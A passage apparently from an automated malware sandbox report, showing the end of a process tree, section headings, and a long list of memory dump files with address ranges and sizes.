                                                                                                                                    2⤵
                                                                                                                                      PID:5652
                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                    1⤵
                                                                                                                                      PID:5180

                                                                                                                                    Network

                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                          Replay Monitor

                                                                                                                                          Loading Replay Monitor...

                                                                                                                                          Downloads

                                                                                                                                          • memory/64-221-0x0000000002540000-0x0000000002542000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/64-237-0x0000000002544000-0x0000000002545000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/64-238-0x0000000002545000-0x0000000002547000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/64-236-0x0000000002542000-0x0000000002544000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/68-147-0x000001E321F00000-0x000001E321F70000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/596-178-0x0000019047C60000-0x0000019047CD0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/596-286-0x0000019048340000-0x00000190483B0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/988-223-0x0000000002EB0000-0x0000000002EB2000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/1076-281-0x000001F319770000-0x000001F3197BB000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            300KB

                                                                                                                                          • memory/1076-176-0x000001F319E70000-0x000001F319EE0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1180-133-0x00000267AD3A0000-0x00000267AD410000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1204-301-0x00000168F02B0000-0x00000168F0320000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1204-186-0x00000168EFD60000-0x00000168EFDD0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1212-297-0x000001F680E20000-0x000001F680E90000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1212-184-0x000001F680D40000-0x000001F680DB0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1404-180-0x00000252C4950000-0x00000252C49C0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1804-146-0x0000000004E20000-0x0000000004E7C000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            368KB

                                                                                                                                          • memory/1804-132-0x0000000004D1B000-0x0000000004E1C000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1.0MB

                                                                                                                                          • memory/1852-182-0x0000028E5AEA0000-0x0000028E5AF10000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/1852-294-0x0000028E5AF10000-0x0000028E5AF80000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2060-199-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/2196-222-0x0000016A2E300000-0x0000016A2E3FF000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1020KB

                                                                                                                                          • memory/2196-143-0x0000016A2BD00000-0x0000016A2BD70000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2272-218-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/2424-174-0x000001ACF5A90000-0x000001ACF5B00000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2476-154-0x00000141E4560000-0x00000141E45D0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2696-188-0x000001BB25840000-0x000001BB258B0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2708-190-0x000001F04BD80000-0x000001F04BDF0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2788-152-0x0000027922B70000-0x0000027922BE0000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            448KB

                                                                                                                                          • memory/2788-137-0x0000027922860000-0x00000279228AB000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            300KB

                                                                                                                                          • memory/3012-139-0x0000000002310000-0x0000000002312000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/3012-126-0x0000000000180000-0x0000000000181000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/3012-135-0x0000000000690000-0x0000000000691000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/3012-128-0x0000000000680000-0x0000000000681000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/3012-130-0x00000000008A0000-0x00000000008BC000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            112KB

                                                                                                                                          • memory/3116-232-0x0000000000A50000-0x0000000000A5D000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            52KB

                                                                                                                                          • memory/3116-260-0x00000000035B0000-0x00000000035F8000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            288KB

                                                                                                                                          • memory/3784-206-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            88KB

                                                                                                                                          • memory/3888-235-0x0000000000A92000-0x0000000000A94000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/3888-228-0x0000000000A90000-0x0000000000A92000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/3888-240-0x0000000000A95000-0x0000000000A96000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/3892-203-0x0000000003090000-0x0000000003092000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                          • memory/3960-193-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            172KB

                                                                                                                                          • memory/4144-271-0x0000000140000000-0x000000014070A000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            7.0MB

                                                                                                                                          • memory/4144-276-0x0000022761830000-0x0000022761844000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            80KB

                                                                                                                                          • memory/4200-282-0x0000000000720000-0x0000000000764000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            272KB

                                                                                                                                          • memory/4480-265-0x0000000140000000-0x0000000140383000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            3.5MB

                                                                                                                                          • memory/4480-262-0x0000000140000000-0x0000000140383000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            3.5MB

                                                                                                                                          • memory/4672-246-0x00000000006C0000-0x00000000006D2000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            72KB

                                                                                                                                          • memory/4672-245-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            64KB

                                                                                                                                          • memory/4848-298-0x00000000048B0000-0x000000000490C000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            368KB

                                                                                                                                          • memory/4848-279-0x0000000000D10000-0x0000000000E5A000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1.3MB

                                                                                                                                          • memory/5084-285-0x0000000000400000-0x0000000000447000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            284KB

                                                                                                                                          • memory/5084-291-0x0000000000400000-0x0000000000447000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            284KB

                                                                                                                                          • memory/5676-349-0x0000000006F20000-0x0000000006F21000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                          • memory/5676-348-0x00000000067A0000-0x00000000067A1000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB